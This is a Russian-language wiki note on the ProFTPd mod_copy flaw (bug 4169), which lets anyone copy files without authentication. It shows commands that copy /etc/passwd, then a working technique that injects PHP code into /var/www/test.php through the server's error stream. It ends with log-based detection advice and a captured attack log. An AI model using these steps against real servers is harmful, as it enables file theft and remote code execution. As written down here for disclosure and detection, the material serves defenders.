ProFTPd. Bug 4169 - Unauthenticated copying of files via SITE CPFR/CPTO allowed by mod_copy


В ProFTPd версии 1.3.5 была обнаружена опасная уязвимость, которая позволяет копировать файлы в пределах сервера без проведения аутентификации с помощью команд «site cpfr» и «site cpto». Проблема проявляется в модуле mod_copy, который позволяет выполнять команды на стадии до проведения аутентификации пользователя. Уязвимость усугубляется отсутствием возможности отключить mod_copy .
Сам баг исправлен 2015-05-28 , дополнительная информация доступна по ссылке:


  • Пример копирования файла /etc/passwd в /tmp/passwd.copy:
Trying 192.168.3.115...
Connected to 192.168.3.115.
Escape character is '^]'.
220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:192.168.3.115]
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto /tmp/passwd.copy
250 Copy successful
  • Пример организации запуска кода на web-сервере:
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto <?php phpinfo(); ?>
550 cpto: Permission denied
site cpfr /proc/self/fd/3
350 File or directory exists, ready for destination name
site cpto /var/www/test.php
250 Copy successful
  • Файл test.php будет содержать данные из потока STDERR, в том числе и указанный в ошибочной команде PHP-код:
   2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument
   2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): FTP session opened.
   2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error opening destination file '/<?php
phpinfo(); ?>' for copying: Permission denied

В конфигурационном файлу ProFTPd /etc/proftpd/proftpd.conf указаны пользователь и группа, используемые для работы демона:

User                            proftpd
Group                           nogroup

Если появились новые файлы, с владельцем и группой, аналогичными указанным в конфиге, то это уже повод заглянуть в логи.
В журнале ProFTPd будет зафиксировано открытие и закрытие сессии, без сообщений о подготовке домашней директории и факте успешной авторизации. Если злоумышленник пытался создать файл в каталоге с недостаточными правами доступа, то это так же будет зафиксировано в логах.

2016-04-07 12:12:05,409 *** proftpd[23346] *** (80-110-39-36.static.surfer.at[80.110.39.36]): FTP session opened.
2016-04-07 12:12:05,721 *** proftpd[23346] *** (80-110-39-36.static.surfer.at[80.110.39.36]): error opening destination file '/var/html/admin/infos.php' for copying: No such file or directory
...
2016-04-07 12:13:20,370 *** proftpd[23346] *** (80-110-39-36.static.surfer.at[80.110.39.36]): FTP session closed.

  • proftpd._bug_4169_-_unauthenticated_copying_of_files_via_site_cpfr_cpto_allowed_by_mod_copy.txt
  • Последние изменения: 2016/05/19 00:00
  • (внешнее изменение)